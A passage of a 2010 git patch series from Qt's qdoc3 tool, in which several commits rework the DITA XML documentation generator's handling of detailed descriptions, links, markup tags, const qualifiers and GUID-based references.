    } xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // @@ -3511,7 +3526,6 @@ void DitaXmlGenerator::generateDetailedMember(const Node* node, xmlWriter().writeStartElement("p"); writeGuidAttribute(refForNode(node)); xmlWriter().writeAttribute("outputclass","h3 flags"); - xmlWriter().writeCharacters(refForNode(node)); marked = getMarkedUpSynopsis(en, relative, marker, CodeMarker::Detailed); writeText(marked, marker, relative); xmlWriter().writeCharacters("\n"); @@ -3523,7 +3537,6 @@ void DitaXmlGenerator::generateDetailedMember(const Node* node, xmlWriter().writeStartElement("p"); writeGuidAttribute(refForNode(node)); xmlWriter().writeAttribute("outputclass","h3 fn"); - xmlWriter().writeCharacters(refForNode(node)); marked = getMarkedUpSynopsis(node, relative, marker, CodeMarker::Detailed); writeText(marked, marker, relative); xmlWriter().writeEndElement(); //

    @@ -4139,12 +4152,11 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node* node, } /*! - zzz Output the "Inherits" line for the QML element, if there should be one. */ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn, - CodeMarker* marker) + CodeMarker* marker) { if (cn && !cn->links().empty()) { if (cn->links().contains(Node::InheritsLink)) { @@ -4154,7 +4166,8 @@ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn, const Node* n = myTree->findNode(strList,Node::Fake); if (n && n->subType() == Node::QmlClass) { const QmlClassNode* qcn = static_cast(n); - out() << "

    "; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","centerAlign"); Text text; text << "[Inherits "; text << Atom(Atom::LinkNode,CodeMarker::stringForNode(qcn)); @@ -4163,7 +4176,7 @@ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn, text << Atom(Atom::FormattingRight, ATOM_FORMATTING_LINK); text << "]"; generateText(text, cn, marker); - out() << "

    "; + xmlWriter().writeEndElement(); //

    } } } @@ -4174,7 +4187,7 @@ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn, if it is inherited by any other elements. */ void DitaXmlGenerator::generateQmlInheritedBy(const QmlClassNode* cn, - CodeMarker* marker) + CodeMarker* marker) { if (cn) { NodeList subs; @@ -4190,7 +4203,6 @@ void DitaXmlGenerator::generateQmlInheritedBy(const QmlClassNode* cn, } /*! - zzz text Output the "[Xxx instantiates the C++ class QmlGraphicsXxx]" line for the QML element, if there should be one. @@ -4198,7 +4210,7 @@ void DitaXmlGenerator::generateQmlInheritedBy(const QmlClassNode* cn, is set to Node::Internal, do nothing. */ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn, - CodeMarker* marker) + CodeMarker* marker) { const ClassNode* cn = qcn->classNode(); if (cn && (cn->status() != Node::Internal)) { @@ -4222,7 +4234,6 @@ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn, } /*! - zzz text Output the "[QmlGraphicsXxx is instantiated by QML element Xxx]" line for the class, if there should be one. @@ -4500,16 +4511,11 @@ void DitaXmlGenerator::writeFunctions(const Section& s, writeParameters(fn,marker); writeLocation(fn); xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement(APIDESC); - - if (!fn->doc().isEmpty()) { - generateBody(fn, marker); - // generateAlsoList(inner, marker); - } - xmlWriter().writeEndElement(); // + writeDetailSections(fn, marker, true, QString()); + // generateAlsoList(inner, marker); - // not included: ,
    , or + // not included: or xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // @@ -4661,15 +4667,10 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, writeLocation(en); xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement(APIDESC); - - if (!en->doc().isEmpty()) { - generateBody(en, marker); - } - xmlWriter().writeEndElement(); // + writeDetailSections(en, marker, true, QString()); - // not included: ,
    , or + // not included: or xmlWriter().writeEndElement(); // @@ -4726,15 +4727,10 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, writeLocation(tn); xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement(APIDESC); - - if (!tn->doc().isEmpty()) { - generateBody(tn, marker); - } - xmlWriter().writeEndElement(); // + writeDetailSections(tn, marker, true, QString()); - // not included: ,
    , or + // not included: or xmlWriter().writeEndElement(); // @@ -4842,15 +4838,10 @@ void DitaXmlGenerator::writeProperties(const Section& s, writeLocation(pn); xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement(APIDESC); - if (!pn->doc().isEmpty()) { - generateBody(pn, marker); - } - - xmlWriter().writeEndElement(); // - - // not included: ,
    , or + writeDetailSections(pn, marker, true, QString()); + + // not included: or xmlWriter().writeEndElement(); // @@ -4929,15 +4920,10 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, writeLocation(vn); xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement(APIDESC); - - if (!vn->doc().isEmpty()) { - generateBody(vn, marker); - } - xmlWriter().writeEndElement(); // + writeDetailSections(vn, marker, true, QString()); - // not included: ,
    , + // not included: or xmlWriter().writeEndElement(); // @@ -5028,15 +5014,10 @@ void DitaXmlGenerator::writeMacros(const Section& s, writeLocation(fn); xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement(APIDESC); - - if (!fn->doc().isEmpty()) { - generateBody(fn, marker); - } - xmlWriter().writeEndElement(); // + writeDetailSections(fn, marker, true, QString()); - // not included: ,
    , or + // not included: or xmlWriter().writeEndElement(); // @@ -5109,6 +5090,55 @@ QXmlStreamWriter& DitaXmlGenerator::xmlWriter() return *xmlWriterStack.top(); } +/*! + Writes the \e {Detailed Description} section(s) for \a node + to the current XML stream using the code \a marker. if the + \a apiDesc flag is true, then the first section of the + sequence of sections written will be an \c {apiDesc>} + element with a \e {spectitle} attribute of \e {Detailed + Description}. Otherwise, the first section will be a + \c {
    } element with a \c {} element of + \e {Detailed Description}. This function calls the + Generator::generateBody() function to write the XML for + the section list. + */ +void DitaXmlGenerator::writeDetailSections(const Node* node, + CodeMarker* marker, + bool apiDesc, + const QString& title) +{ + if (!node->doc().isEmpty()) { + inDetailedDescription = true; + if (apiDesc) { + inApiDesc = true; + xmlWriter().writeStartElement(APIDESC); + xmlWriter().writeAttribute("id",node->guid()); + if (!title.isEmpty()) + xmlWriter().writeAttribute("spectitle",title); + } + else { + inSection = true; + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("id",node->guid()); + if (!title.isEmpty()) { + xmlWriter().writeStartElement("title"); + xmlWriter().writeCharacters(title); + xmlWriter().writeEndElement(); // + } + } + generateBody(node, marker); + if (inApiDesc) { + xmlWriter().writeEndElement(); // + inApiDesc = false; + } + else if (inSection) { + xmlWriter().writeEndElement(); //
    + inSection = false; + } + } + inDetailedDescription = false; +} + QT_END_NAMESPACE #ifdef TO_BE_INCLUDED_IN_API_DESC diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index bd78e93..35c49ae 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -263,6 +263,10 @@ class DitaXmlGenerator : public PageGenerator virtual void beginSubPage(const Location& location, const QString& fileName); virtual void endSubPage(); QXmlStreamWriter& xmlWriter(); + void writeDetailSections(const Node* node, + CodeMarker* marker, + bool apiDesc, + const QString& title); private: QMap refMap; @@ -315,6 +319,9 @@ class DitaXmlGenerator : public PageGenerator NewClassMaps newClassMaps; NewClassMaps newQmlClassMaps; static int id; + static bool inApiDesc; + static bool inSection; + static bool inDetailedDescription; QStack xmlWriterStack; }; diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp index 5bd5156..1a41399 100644 --- a/tools/qdoc3/generator.cpp +++ b/tools/qdoc3/generator.cpp @@ -327,6 +327,7 @@ bool Generator::generateText(const Text& text, const Node *relative, CodeMarker *marker) { + bool result = false; if (text.firstAtom() != 0) { int numAtoms = 0; startText(relative, marker); @@ -336,9 +337,9 @@ bool Generator::generateText(const Text& text, true, numAtoms); endText(relative, marker); - return true; + result = true; } - return false; + return result; } #ifdef QDOC_QML @@ -352,24 +353,26 @@ bool Generator::generateQmlText(const Text& text, const QString& /* qmlName */ ) { const Atom* atom = text.firstAtom(); - if (atom == 0) - return false; + bool result = false; - startText(relative, marker); - while (atom) { - if (atom->type() != Atom::QmlText) - atom = atom->next(); - else { - atom = atom->next(); - while (atom && (atom->type() != Atom::EndQmlText)) { - int n = 1 + generateAtom(atom, relative, marker); - while (n-- > 0) - atom = atom->next(); + if (atom != 0) { + startText(relative, marker); + while (atom) { + if (atom->type() != Atom::QmlText) + atom = atom->next(); + else { + atom = atom->next(); + while (atom && (atom->type() != Atom::EndQmlText)) { + int n = 1 + generateAtom(atom, relative, marker); + while (n-- > 0) + atom = atom->next(); + } } } + endText(relative, marker); + result = true; } - endText(relative, marker); - return true; + return result; } #endif @@ -377,14 +380,7 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) { bool quiet = false; - if (node->type() == Node::Function) { -#if 0 - const FunctionNode *func = (const FunctionNode *) node; - if (func->isOverload() && func->metaness() != FunctionNode::Ctor) - generateOverload(node, marker); -#endif - } - else if (node->type() == Node::Fake) { + if (node->type() == Node::Fake) { const FakeNode *fake = static_cast(node); if (fake->subType() == Node::Example) { generateExampleFiles(fake, marker); @@ -501,18 +497,16 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) ++a; } } -/* Something like this return value check should be implemented at some point. */ + /* + Something like this return value check should + be implemented at some point. + */ if (func->status() > Node::Obsolete && func->returnType() == "bool" && func->reimplementedFrom() == 0 && !func->isOverload()) { QString body = func->doc().body().toString(); if (!body.contains("return", Qt::CaseInsensitive)) node->doc().location().warning(tr("Undocumented return value")); } -#if 0 - // Now we put this at the top, before the other text. - if (func->reimplementedFrom() != 0) - generateReimplementedFrom(func, marker); -#endif } } @@ -1091,20 +1085,6 @@ void Generator::generateSince(const Node *node, CodeMarker *marker) } } -/*! - No longer in use. - */ -void Generator::generateOverload(const Node *node, CodeMarker *marker) -{ - Text text; - text << Atom::ParaLeft - << "This function overloads "; - QString t = node->name() + "()"; - text << Atom::AutoLink << t - << Atom::ParaRight; - generateText(text, node, marker); -} - void Generator::generateReimplementedFrom(const FunctionNode *func, CodeMarker *marker) { @@ -1153,8 +1133,8 @@ const Atom *Generator::generateAtomList(const Atom *atom, if (atom->type() == Atom::FormatEndif) { if (generate && numAtoms0 == numAtoms) { - relative->location().warning(tr("Output format %1 not handled") - .arg(format())); + relative->location().warning(tr("Output format %1 not handled %2") + .arg(format()).arg(outFileName())); Atom unhandledFormatAtom(Atom::UnhandledFormat, format()); generateAtomList(&unhandledFormatAtom, relative, diff --git a/tools/qdoc3/generator.h b/tools/qdoc3/generator.h index 326a247..bccfc5d 100644 --- a/tools/qdoc3/generator.h +++ b/tools/qdoc3/generator.h @@ -130,6 +130,8 @@ class Generator const Node *relative, CodeMarker *marker) const; + virtual QString outFileName() { return QString(); } + const QString& outputDir() { return outDir; } QString indent(int level, const QString& markedCode); QString plainCode(const QString& markedCode); @@ -148,7 +150,6 @@ class Generator static void supplementAlsoList(const Node *node, QList &alsoList); private: - void generateOverload(const Node *node, CodeMarker *marker); void generateReimplementedFrom(const FunctionNode *func, CodeMarker *marker); void appendFullName(Text& text, diff --git a/tools/qdoc3/test/qt-ditaxml.qdocconf b/tools/qdoc3/test/qt-ditaxml.qdocconf index 66f30e3..63baead 100644 --- a/tools/qdoc3/test/qt-ditaxml.qdocconf +++ b/tools/qdoc3/test/qt-ditaxml.qdocconf @@ -9,3 +9,34 @@ outputformats = DITAXML generateindex = true url = . +macro.aacute.DITAXML = "á" +macro.Aring.DITAXML = "Å" +macro.aring.DITAXML = "å" +macro.Auml.DITAXML = "Ä" +macro.author = "\\bold{Author:}" +macro.br.DITAXML = " " +macro.BR.DITAXML = " " +macro.copyright.DITAXML = "©" +macro.eacute.DITAXML = "é" +macro.gui = "\\bold" +macro.hr.DITAXML = "
    " +macro.iacute.DITAXML = "í" +macro.key = "\\bold" +macro.menu = "\\bold" +macro.note = "\\bold{Note:}" +macro.oslash.DITAXML = "ø" +macro.ouml.DITAXML = "ö" +macro.QA = "\\e{Qt Assistant}" +macro.QD = "\\e{Qt Designer}" +macro.QL = "\\e{Qt Linguist}" +macro.QQV = "\\e{Qt QML Viewer}" +macro.param = "\\e" +macro.raisedaster.DITAXML = "*" +macro.rarrow.DITAXML = "→" +macro.reg.DITAXML = "®" +macro.return = "Returns" +macro.starslash = "\\c{*/}" +macro.begincomment = "\\c{/*}" +macro.endcomment = "\\c{*/}" +macro.uuml.DITAXML = "ü" +macro.mdash.DITAXML = "—" -- cgit v0.12 From 839938e86dd22601b679c5f33606830850d6df81 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 20 Sep 2010 14:40:42 +0200 Subject: qdoc: DITA XML generator now avoids escaping elements. Still escapes and , for example. --- tools/qdoc3/ditaxmlgenerator.cpp | 191 +++++++++++++++++---------------------- tools/qdoc3/ditaxmlgenerator.h | 1 + 2 files changed, 84 insertions(+), 108 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 9c70cb5..0170644 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -358,19 +358,21 @@ QString DitaXmlGenerator::sinceTitles[] = static bool showBrokenLinks = false; -static void addLink(const QString &linkTarget, - const QStringRef &nestedStuff, - QString *res) +/*! + Appends an element to the current XML stream + with the \a href attribute and the \a text. + */ +void DitaXmlGenerator::addLink(const QString& href, + const QStringRef& text) { - if (!linkTarget.isEmpty()) { - *res += ""; - *res += nestedStuff; - *res += ""; + if (!href.isEmpty()) { + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href", href); + xmlWriter().writeCharacters(text.toString()); + xmlWriter().writeEndElement(); // } else { - *res += nestedStuff; + xmlWriter().writeCharacters(text.toString()); } } @@ -2240,14 +2242,14 @@ QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, xmlWriter().writeAttribute("href","qt3support.html"); xmlWriter().writeCharacters("Qt 3 support layer"); xmlWriter().writeEndElement(); // - xmlWriter().writeCharacters("."); + xmlWriter().writeCharacters(". "); xmlWriter().writeEndElement(); // - xmlWriter().writeCharacters(" They are provided to help you port old code to Qt 4. " + xmlWriter().writeCharacters("They are provided to help you port old code to Qt 4. " "We advise against using them in new code."); } else { xmlWriter().writeStartElement("b"); - xmlWriter().writeCharacters("The following class members are obsolete."); + xmlWriter().writeCharacters("The following class members are obsolete. "); xmlWriter().writeEndElement(); // xmlWriter().writeCharacters("They are provided to keep old source code working. " "We strongly advise against using them in new code."); @@ -3050,101 +3052,20 @@ void DitaXmlGenerator::writeText(const QString& markedCode, const QChar charLangle = '<'; const QChar charAt = '@'; - // replace all <@link> tags: "(<@link node=\"([^\"]+)\">).*()" - static const QString linkTag("link"); - bool done = false; - for (int i = 0, n = src.size(); i < n;) { - if (src.at(i) == charLangle && src.at(i + 1).unicode() == '@') { - if (nameAlignment && !done) {// && (i != 0)) Why was this here? - if (!html.isEmpty()) { - xmlWriter().writeCharacters(html); - html.clear(); - } - xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement("entry"); - xmlWriter().writeAttribute("outputclass=","memItemRight bottomAlign"); - done = true; - } - i += 2; - if (parseArg(src, linkTag, &i, n, &arg, &par1)) { - html += ""; - QString link = linkForNode( - CodeMarker::nodeForString(par1.toString()), relative); - addLink(link, arg, &html); - html += ""; - } - else { - html += charLangle; - html += charAt; - } - } - else { - html += src.at(i++); - } - } - - // replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)()" tags - src = html; - html = QString(); - static const QString typeTags[] = { "type", "headerfile", "func" }; - for (int i = 0, n = src.size(); i < n;) { - if (src.at(i) == charLangle && src.at(i + 1) == charAt) { - i += 2; - bool handled = false; - for (int k = 0; k != 3; ++k) { - if (parseArg(src, typeTags[k], &i, n, &arg, &par1)) { - par1 = QStringRef(); - QString link = linkForNode( - marker->resolveTarget(arg.toString(), myTree, relative), - relative); - addLink(link, arg, &html); - handled = true; - break; - } - } - if (!handled) { - html += charLangle; - html += charAt; - } - } - else { - html += src.at(i++); - } - } - - // replace all - // "<@comment>" -> ""; - // "<@preprocessor>" -> ""; - // "<@string>" -> ""; - // "<@char>" -> ""; - // "" -> "" - src = html; - html = QString(); + /* + First strip out all the extraneous markup. The table + below contains the markup we want to keep. Everything + else that begins with "<@" or "", "", - "<@preprocessor>", "", - "<@string>", "", - "<@char>", "", - "", "", - "","", - "", "", - "", "" - // "<@char>", "", - // "", "", - // "<@func>", "", - // "", "", - // "<@id>", "", - // "", "", - // "<@keyword>", "", - // "", "", - // "<@number>", "", - // "", "", - // "<@op>", "", - // "", "", - // "<@param>", "", - // "", "", - // "<@string>", "", - // "", "", + "<@link ", "<@link ", + "<@type>", "<@type>", + "<@headerfile>", "<@headerfile>", + "<@func>", "<@func>", + "", "", + "", "", + "", "", + "", "" }; for (int i = 0, n = src.size(); i < n;) { if (src.at(i) == charLangle) { @@ -3178,8 +3099,62 @@ void DitaXmlGenerator::writeText(const QString& markedCode, ++i; } } - if (!html.isEmpty()) + + // replace all <@link> tags: "(<@link node=\"([^\"]+)\">).*()" + // replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)()" tags + src = html; + html = QString(); + static const QString markTags[] = { "link", "type", "headerfile", "func" }; + bool done = false; + for (int i = 0, n = src.size(); i < n;) { + if (src.at(i) == charLangle && src.at(i + 1) == charAt) { + if (nameAlignment && !done) { + if (!html.isEmpty()) { + xmlWriter().writeCharacters(html); + html.clear(); + } + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement("entry"); + xmlWriter().writeAttribute("outputclass=","memItemRight bottomAlign"); + done = true; + } + i += 2; + bool handled = false; + for (int k = 0; k != 4; ++k) { + if (parseArg(src, markTags[k], &i, n, &arg, &par1)) { + const Node* n = 0; + if (k == 0) { + if (!html.isEmpty()) { + xmlWriter().writeCharacters(html); + html.clear(); + } + n = CodeMarker::nodeForString(par1.toString()); + QString link = linkForNode(n, relative); + addLink(link, arg); + } + else { + if (!html.isEmpty()) { + xmlWriter().writeCharacters(html); + html.clear(); + } + par1 = QStringRef(); + marker->resolveTarget(arg.toString(), myTree, relative); + QString link = linkForNode(n,relative); + addLink(link, arg); + } + handled = true; + break; + } + } + } + else { + html += src.at(i++); + } + } + + if (!html.isEmpty()) { xmlWriter().writeCharacters(html); + } } void DitaXmlGenerator::generateLink(const Atom* atom, diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 35c49ae..a5346a5 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -267,6 +267,7 @@ class DitaXmlGenerator : public PageGenerator CodeMarker* marker, bool apiDesc, const QString& title); + void addLink(const QString& href, const QStringRef& text); private: QMap refMap; -- cgit v0.12 From 445513153c6c4f80eccf77c33ca38574b5972922 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 21 Sep 2010 09:35:32 +0200 Subject: qdoc: DITA XML generator now avoids escaping and elements. --- tools/qdoc3/ditaxmlgenerator.cpp | 40 ++++++++++++++++++++++++++++++++++------ 1 file changed, 34 insertions(+), 6 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 0170644..de70d29 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -3010,9 +3010,10 @@ QString DitaXmlGenerator::getMarkedUpSynopsis(const Node* node, } marked.replace(QRegExp("<@param>([a-z]+)_([1-9n])"), "\\1\\2"); +#if 0 marked.replace("<@param>",""); marked.replace("",""); - +#endif if (style == CodeMarker::Summary) { marked.replace("<@name>",""); // was "" marked.replace("",""); // was "" @@ -3023,10 +3024,12 @@ QString DitaXmlGenerator::getMarkedUpSynopsis(const Node* node, extraRegExp.setMinimal(true); marked.replace(extraRegExp,""); } +#if 0 else { marked.replace("<@extra>",""); marked.replace("",""); } +#endif if (style != CodeMarker::Detailed) { marked.replace("<@type>",""); @@ -3062,15 +3065,19 @@ void DitaXmlGenerator::writeText(const QString& markedCode, "<@type>", "<@type>", "<@headerfile>", "<@headerfile>", "<@func>", "<@func>", + "<@param>", "<@param>", + "<@extra>", "<@extra>", "", "", "", "", "", "", - "", "" + "", "", + "", "", + "", "" }; for (int i = 0, n = src.size(); i < n;) { if (src.at(i) == charLangle) { bool handled = false; - for (int k = 0; k != 8; ++k) { + for (int k = 0; k != 12; ++k) { const QString & tag = spanTags[2 * k]; if (tag == QStringRef(&src, i, tag.length())) { html += spanTags[2 * k + 1]; @@ -3104,7 +3111,10 @@ void DitaXmlGenerator::writeText(const QString& markedCode, // replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)()" tags src = html; html = QString(); - static const QString markTags[] = { "link", "type", "headerfile", "func" }; + static const QString markTags[] = { + // 0 1 2 3 4 5 + "link", "type", "headerfile", "func", "param", "extra" + }; bool done = false; for (int i = 0, n = src.size(); i < n;) { if (src.at(i) == charLangle && src.at(i + 1) == charAt) { @@ -3120,10 +3130,10 @@ void DitaXmlGenerator::writeText(const QString& markedCode, } i += 2; bool handled = false; - for (int k = 0; k != 4; ++k) { + for (int k = 0; k != 6; ++k) { if (parseArg(src, markTags[k], &i, n, &arg, &par1)) { const Node* n = 0; - if (k == 0) { + if (k == 0) { // <@link> if (!html.isEmpty()) { xmlWriter().writeCharacters(html); html.clear(); @@ -3132,6 +3142,24 @@ void DitaXmlGenerator::writeText(const QString& markedCode, QString link = linkForNode(n, relative); addLink(link, arg); } + else if (k == 4) { // <@param> + if (!html.isEmpty()) { + xmlWriter().writeCharacters(html); + html.clear(); + } + xmlWriter().writeStartElement("i"); + xmlWriter().writeCharacters(arg.toString()); + xmlWriter().writeEndElement(); // + } + else if (k == 5) { // <@extra> + if (!html.isEmpty()) { + xmlWriter().writeCharacters(html); + html.clear(); + } + xmlWriter().writeStartElement("tt"); + xmlWriter().writeCharacters(arg.toString()); + xmlWriter().writeEndElement(); // + } else { if (!html.isEmpty()) { xmlWriter().writeCharacters(html); -- cgit v0.12 From 5d1a38fc9e5a8fbbbb78ed8aeb7e328b97781474 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 21 Sep 2010 13:05:07 +0200 Subject: qdoc: Replaced missing "const" That caused link errors. A const had been erroneously dropped from some fileBase() functions. --- tools/qdoc3/ditaxmlgenerator.cpp | 2 +- tools/qdoc3/ditaxmlgenerator.h | 5 +---- tools/qdoc3/htmlgenerator.cpp | 4 ++-- tools/qdoc3/htmlgenerator.h | 4 ++-- 4 files changed, 6 insertions(+), 9 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index de70d29..d25c76c 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -3361,7 +3361,7 @@ QString DitaXmlGenerator::protect(const QString& string, const QString& outputEn Constructs a file name appropriate for the \a node and returns the file name. */ -QString DitaXmlGenerator::fileBase(const Node* node) +QString DitaXmlGenerator::fileBase(const Node* node) const { QString result; result = PageGenerator::fileBase(node); diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index a5346a5..6f99e90 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -231,10 +231,7 @@ class DitaXmlGenerator : public PageGenerator void generateStatus(const Node* node, CodeMarker* marker); QString registerRef(const QString& ref); - QString fileBase(const Node* node); -#if 0 - QString fileBase(const Node* node, const SectionIterator& section); -#endif + QString fileBase(const Node* node) const; QString fileName(const Node* node); void findAllClasses(const InnerNode* node); void findAllFunctions(const InnerNode* node); diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 77e306a..2849325 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -3417,7 +3417,7 @@ QString HtmlGenerator::protect(const QString &string, const QString &outputEncod #undef APPEND } -QString HtmlGenerator::fileBase(const Node *node) +QString HtmlGenerator::fileBase(const Node *node) const { QString result; @@ -3440,7 +3440,7 @@ QString HtmlGenerator::fileBase(const Node *node) #if 0 QString HtmlGenerator::fileBase(const Node *node, - const SectionIterator& section) + const SectionIterator& section) const { QStringList::ConstIterator s = section.sectionNumber().end(); QStringList::ConstIterator b = section.baseNameStack().end(); diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h index d885ada..430aca2 100644 --- a/tools/qdoc3/htmlgenerator.h +++ b/tools/qdoc3/htmlgenerator.h @@ -241,9 +241,9 @@ class HtmlGenerator : public PageGenerator void generateStatus(const Node *node, CodeMarker *marker); QString registerRef(const QString& ref); - QString fileBase(const Node *node); + QString fileBase(const Node *node) const; #if 0 - QString fileBase(const Node *node, const SectionIterator& section); + QString fileBase(const Node *node, const SectionIterator& section) const; #endif QString fileName(const Node *node); void findAllClasses(const InnerNode *node); -- cgit v0.12 From 0840b0a1c14093c3dc1cbe16561ae6c8d7096fa9 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 21 Sep 2010 14:23:11 +0200 Subject: qdoc: YREKA! Now using GUIDs for node href attributes. --- tools/qdoc3/ditaxmlgenerator.cpp | 26 +++++++++++++++++++++----- tools/qdoc3/ditaxmlgenerator.h | 3 ++- 2 files changed, 23 insertions(+), 6 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index d25c76c..13d33e8 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -531,6 +531,17 @@ QString DitaXmlGenerator::writeGuidAttribute(QString text) return guid; } + +/*! + Write's the GUID for the \a node to the current XML stream + as an "id" attribute. If the \a node doesn't yet have a GUID, + one is generated. + */ +void DitaXmlGenerator::writeGuidAttribute(Node* node) +{ + xmlWriter().writeAttribute("id",node->guid()); +} + /*! Looks up \a text in the GUID map. If it finds \a text, it returns the associated GUID. Otherwise it inserts @@ -1863,7 +1874,7 @@ void DitaXmlGenerator::generateHeader(const Node* node, const QString& name) outputclass = "example"; break; case Node::HeaderFile: - outputclass = "header"; + outputclass = "headerfile"; break; case Node::File: outputclass = "file"; @@ -3296,6 +3307,8 @@ QString DitaXmlGenerator::registerRef(const QString& ref) } else if (prevRef == ref) break; + else + qDebug() << "PREVREF:" << prevRef; clean += "x"; } return clean; @@ -3470,8 +3483,10 @@ QString DitaXmlGenerator::linkForNode(const Node* node, const Node* relative) return QString(); fn = fileName(node); - link += fn; + link += fn + "#" + node->guid(); + return link; +#if 0 if (!node->isInnerNode() || node->subType() == Node::QmlPropertyGroup) { ref = refForNode(node); if (relative && fn == fileName(relative) && ref == refForNode(relative)) @@ -3481,6 +3496,7 @@ QString DitaXmlGenerator::linkForNode(const Node* node, const Node* relative) link += ref; } return link; +#endif } QString DitaXmlGenerator::refForAtom(Atom* atom, const Node* /* node */) @@ -3517,7 +3533,7 @@ void DitaXmlGenerator::generateFullName(const Node* apparentNode, xmlWriter().writeEndElement(); // } -void DitaXmlGenerator::generateDetailedMember(const Node* node, +void DitaXmlGenerator::generateDetailedMember(Node* node, const InnerNode* relative, CodeMarker* marker) { @@ -3527,7 +3543,7 @@ void DitaXmlGenerator::generateDetailedMember(const Node* node, if ((node->type() == Node::Enum) && (en = static_cast(node))->flagsType()) { xmlWriter().writeStartElement("p"); - writeGuidAttribute(refForNode(node)); + writeGuidAttribute(node); xmlWriter().writeAttribute("outputclass","h3 flags"); marked = getMarkedUpSynopsis(en, relative, marker, CodeMarker::Detailed); writeText(marked, marker, relative); @@ -3538,7 +3554,7 @@ void DitaXmlGenerator::generateDetailedMember(const Node* node, } else { xmlWriter().writeStartElement("p"); - writeGuidAttribute(refForNode(node)); + writeGuidAttribute(node); xmlWriter().writeAttribute("outputclass","h3 fn"); marked = getMarkedUpSynopsis(node, relative, marker, CodeMarker::Detailed); writeText(marked, marker, relative); diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 6f99e90..6a52441 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -222,7 +222,7 @@ class DitaXmlGenerator : public PageGenerator const Node* relative, CodeMarker* marker, const Node* actualNode = 0); - void generateDetailedMember(const Node* node, + void generateDetailedMember(Node* node, const InnerNode* relative, CodeMarker* marker); void generateLink(const Atom* atom, @@ -256,6 +256,7 @@ class DitaXmlGenerator : public PageGenerator CodeMarker* marker); void endLink(); QString writeGuidAttribute(QString text); + void writeGuidAttribute(Node* node); QString lookupGuid(QString text); virtual void beginSubPage(const Location& location, const QString& fileName); virtual void endSubPage(); -- cgit v0.12 From d10863a6d155f5a57fc30dbaf1229e29eef1ba98 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 22 Sep 2010 10:04:45 +0200 Subject: qdoc: Changed the in the . This is now the first part of the generated documentation for a C++ class rather than the first section of the detailed description. This includes the brief text, the inheritance stuff, the inherited-by stuff, and a few other preamble type texts. --- tools/qdoc3/ditaxmlgenerator.cpp | 134 ++++++++++++++++++++++++++------------- tools/qdoc3/ditaxmlgenerator.h | 12 ++-- 2 files changed, 97 insertions(+), 49 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 13d33e8..3efd98b 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ 